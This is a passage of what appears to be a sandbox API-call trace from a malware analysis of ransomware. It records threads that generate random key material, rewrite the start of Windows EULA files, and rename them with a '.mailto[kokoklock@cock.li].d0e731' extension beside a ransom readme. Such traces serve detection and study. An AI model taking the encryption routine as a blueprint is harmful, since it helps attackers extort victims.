liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dcf8 [0080.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de60 [0080.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e018 [0080.669] NtQuerySystemTime (in: CurrentTime=0x24b3fbd0 | out: CurrentTime=0x24b3fbd0*=132121176385685363) returned 0x0 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xdd4820d4 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xd1475808 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x9bfcd1f8 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x9a693bab [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x9084d476 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x7d3921a2 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x6603cd98 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x657f94eb [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x29b4538a [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xc0617682 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xe3bfbc35 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x824af6d0 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xba38e72b [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xde507b62 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x86375ee9 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x6a49255 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x6a258ddf [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xcfe2ab51 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xe2b23dbc [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xeb63cc36 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xcce94123 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x8184cc62 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xd7f9804b [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xf1fe90f7 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xd35c2099 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x644ceaf0 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xa128b7b3 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xb182278c [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x439614e6 [0080.669] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0x44cf13a1 [0080.670] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xba44cb91 [0080.670] RtlRandom (in: Seed=0x24b3fbdc | out: Seed=0x24b3fbdc) returned 0xd6bd3e49 [0080.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0080.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dcf8) returned 1 [0080.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55dc230 [0080.680] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.680] ReadFile (in: hFile=0x458, lpBuffer=0x55dc230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24b3fba8, lpOverlapped=0x0 | out: lpBuffer=0x55dc230*, lpNumberOfBytesRead=0x24b3fba8*=0x4096, lpOverlapped=0x0) returned 1 [0080.728] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0080.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0080.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.728] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e040 [0080.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e068 [0080.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0080.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0080.729] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24b3fba8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24b3fba8*=0x4096, lpOverlapped=0x0) returned 1 [0080.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.729] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1158e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.729] WriteFile (in: hFile=0x458, lpBuffer=0x342e040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24b3fbe0, lpOverlapped=0x0 | out: lpBuffer=0x342e040*, lpNumberOfBytesWritten=0x24b3fbe0*=0x20, lpOverlapped=0x0) returned 1 [0080.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e040) returned 1 [0080.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc230) returned 1 [0080.731] WriteFile (in: hFile=0x458, lpBuffer=0x342dfa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24b3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x342dfa0*, lpNumberOfBytesWritten=0x24b3fbf4*=0x8, lpOverlapped=0x0) returned 1 [0080.731] WriteFile (in: hFile=0x458, lpBuffer=0x24b3fc0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24b3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x24b3fc0c*, lpNumberOfBytesWritten=0x24b3fbf4*=0x4, lpOverlapped=0x0) returned 1 [0080.731] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24b3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24b3fbf4*=0x4, lpOverlapped=0x0) returned 1 [0080.732] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24b3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24b3fbf4*=0x6c, lpOverlapped=0x0) returned 1 [0080.732] WriteFile (in: hFile=0x458, lpBuffer=0x342de60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24b3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x342de60*, lpNumberOfBytesWritten=0x24b3fbf4*=0x20, lpOverlapped=0x0) returned 1 [0080.732] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24b3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24b3fbf4*=0x4, lpOverlapped=0x0) returned 1 [0080.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de60) returned 1 [0080.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0080.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dfa0) returned 1 [0080.732] CloseHandle (hObject=0x458) returned 1 [0080.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428c00 [0080.732] wcscpy (in: _Dest=0x3428c00, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" [0080.732] wcscat (in: _Dest=0x3428c00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731" [0080.732] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.733] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428c00) returned 1 [0080.733] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm", dwFileAttributes=0x20) returned 0 [0080.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccd70 [0080.733] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.733] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.733] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0080.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fa30) returned 1 [0080.733] RtlExitUserThread (Status=0x1) Thread: id = 1021 os_tid = 0x16f8 [0080.580] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm")) returned 0x20 [0080.580] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm", dwFileAttributes=0x20) returned 1 [0080.581] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0080.581] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x24bbfd40 | out: lpFileSize=0x24bbfd40*=78176) returned 1 [0080.581] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x1315c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.581] ReadFile (in: hFile=0x4a4, lpBuffer=0x24bbfd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24bbfd10, lpOverlapped=0x0 | out: lpBuffer=0x24bbfd14*, lpNumberOfBytesRead=0x24bbfd10*=0x4, lpOverlapped=0x0) returned 1 [0080.617] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492208 [0080.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492230 [0080.617] NtQuerySystemTime (in: CurrentTime=0x24bbfcec | out: CurrentTime=0x24bbfcec*=132121176385059892) returned 0x0 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x6d4af305 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x60096e39 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xdfd36fd3 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x3e113968 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x28b00f66 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xd968c673 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x13e0d4e1 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x6fd1a06b [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x77dacd0c [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xc6d9e69a [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xaa62a6b7 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x3b752abb [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x659f31ef [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x7f35ed87 [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x45eacd1e [0080.617] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xcf81ddaa [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xa5f0c7c [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xd4776b00 [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xd758755 [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x52316258 [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x88b0b03e [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x99644a70 [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xe916fe5b [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x86c37e39 [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x9cf85932 [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xf4c2b7f0 [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xd3cbf73a [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xedda4ba6 [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x9e1eab3e [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x7698391b [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0x265aceed [0080.618] RtlRandom (in: Seed=0x24bbfcf8 | out: Seed=0x24bbfcf8) returned 0xb040f434 [0080.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b64c0 [0080.629] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.629] ReadFile (in: hFile=0x4a4, lpBuffer=0x34b64c0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24bbfcc4, lpOverlapped=0x0 | out: lpBuffer=0x34b64c0*, lpNumberOfBytesRead=0x24bbfcc4*=0x4096, lpOverlapped=0x0) returned 1 [0080.705] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.706] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.706] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ded8 [0080.706] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.706] WriteFile (in: hFile=0x4a4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24bbfcc4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24bbfcc4*=0x4096, lpOverlapped=0x0) returned 1 [0080.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.706] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x13160, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.707] WriteFile (in: hFile=0x4a4, lpBuffer=0x342ded8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24bbfcfc, lpOverlapped=0x0 | out: lpBuffer=0x342ded8*, lpNumberOfBytesWritten=0x24bbfcfc*=0x20, lpOverlapped=0x0) returned 1 [0080.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ded8) returned 1 [0080.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b64c0) returned 1 [0080.707] WriteFile (in: hFile=0x4a4, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24bbfd10, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x24bbfd10*=0x8, lpOverlapped=0x0) returned 1 [0080.707] WriteFile (in: hFile=0x4a4, lpBuffer=0x24bbfd28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24bbfd10, lpOverlapped=0x0 | out: lpBuffer=0x24bbfd28*, lpNumberOfBytesWritten=0x24bbfd10*=0x4, lpOverlapped=0x0) returned 1 [0080.707] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24bbfd10, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24bbfd10*=0x4, lpOverlapped=0x0) returned 1 [0080.707] WriteFile (in: hFile=0x4a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24bbfd10, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24bbfd10*=0x6c, lpOverlapped=0x0) returned 1 [0080.707] WriteFile (in: hFile=0x4a4, lpBuffer=0x3492208*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24bbfd10, lpOverlapped=0x0 | out: lpBuffer=0x3492208*, lpNumberOfBytesWritten=0x24bbfd10*=0x20, lpOverlapped=0x0) returned 1 [0080.707] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24bbfd10, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24bbfd10*=0x4, lpOverlapped=0x0) returned 1 [0080.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492208) returned 1 [0080.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0080.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0080.707] CloseHandle (hObject=0x4a4) returned 1 [0080.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.707] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" [0080.707] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731" [0080.708] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.708] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.708] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm", dwFileAttributes=0x20) returned 0 [0080.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.708] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.708] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.708] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fe68) returned 1 [0080.709] RtlExitUserThread (Status=0x1) Thread: id = 1022 os_tid = 0x16fc [0080.582] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm")) returned 0x20 [0080.583] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm", dwFileAttributes=0x20) returned 1 [0080.583] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0080.583] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x24c3fd30 | out: lpFileSize=0x24c3fd30*=283852) returned 1 [0080.583] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x454c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.583] ReadFile (in: hFile=0x52c, lpBuffer=0x24c3fd04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24c3fd00, lpOverlapped=0x0 | out: lpBuffer=0x24c3fd04*, lpNumberOfBytesRead=0x24c3fd00*=0x4, lpOverlapped=0x0) returned 1 [0080.604] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.604] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.604] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491880 [0080.604] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.604] NtQuerySystemTime (in: CurrentTime=0x24c3fcdc | out: CurrentTime=0x24c3fcdc*=132121176384903502) returned 0x0 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x9ea954b3 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x97a2c010 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0xe934898c [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x5393ba56 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x7dbf59c2 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x72def3a6 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x6b3ed809 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x2ce96b03 [0080.604] RtlRandom (in: Seed=0x24c3fce8 | out: Seed=0x24c3fce8) returned 0x71bde171 